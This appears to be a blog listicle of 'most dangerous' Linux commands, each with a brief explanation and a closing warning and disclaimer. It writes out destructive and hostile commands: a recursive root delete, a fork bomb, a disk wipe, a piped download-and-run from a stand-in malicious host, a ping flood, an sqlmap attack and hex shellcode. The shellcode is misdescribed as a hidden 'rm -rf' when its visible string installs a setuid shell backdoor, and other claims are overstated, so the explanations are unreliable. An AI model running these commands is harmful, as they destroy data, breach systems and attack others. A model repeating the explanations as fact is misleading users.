Most Dangerous command in Linux

danger_cmd.sh

There are plenty of one line terminal commands that can prove to be exorbitantly dangerous.

1. The Delete Everything Command

    rm -rf /

This command deletes everything it possibly can, including files on your hard drive and files on connected removable media devices. This command can be explained as follows:

    rm – Remove the following files.
    -rf – Run rm recursively.
    / – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices.

2. The Denial of Service(DoS) attack

    ping xxx.xxx.xxx.xxx –t -l 65500

where xxx.xxx.xxx.xxx is the IP Address of the target. This simple command if run from command prompt can launch a DoS attack against the target by flooding it’s server with data packets. If launched on a larger scale with multiple points of attack (DDoS), this command can prove to be fatal.

3. The Black hole

    mv /home/user/* /dev/null

The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed. The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to a blackhole (null).

4. The Fork Bomb

    :(){:|:&};:

The infamous and funny looking fork bomb can freeze a system and force you to reboot it. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

5. Malicious Script

    wget http://malicious_source -O- | sh

This command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script. Please be careful while downloading and running scripts and make sure they come from a trusted source.

6. The Wiper

    dd if=/dev/random of=/dev/sda

The above command will wipe out the block sda and write random junk data to the block. Your system would be left at inconsistent and unrecoverable stage.

7. Sql Injection Attack with SQLMap

    sqlmap -u "http://www.abcdef.com/section.php?id=51" --dbs

This single command in the terminal can launch an SQL Injection attack against the website. You just need a Sql injection vulnerable URL which can be easily found on the internet. This command, if successful can expose the entire database of the target.

8. Hidden Hex Codes

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

This command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition. This shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result.

Apart from these, I remember the words of Kevin Mitnick (a renowned personality in the hacking world ) from his interview in 2015.

    The government obviously labeled me with these terms, like “terrorist”, and they locked me up in solitary confinement because they said I could whistle into a telephone and launch nuclear weapons.

I don’t know if this was in deed true and possible. However, this according to me would be the most Dangerous piece of code ever written in history. Imagine the level of destruction that could have been caused.

WARNING AND DISCLAIMER

Please do not execute any of the above mentioned commands in your Linux terminal or shell. If you want to test them, run them in a virtual machine.

Number 2 and 7 can even land you in jail or attract legal actions from federal and corporate agencies. Please make sure that you either initiate these attacks against your own system/website or take necessary permission from the respective owner. The answer is meant only for educational purpose and in no way would be responsible for the cause of your unlawful actions.

Thanks for reading

cul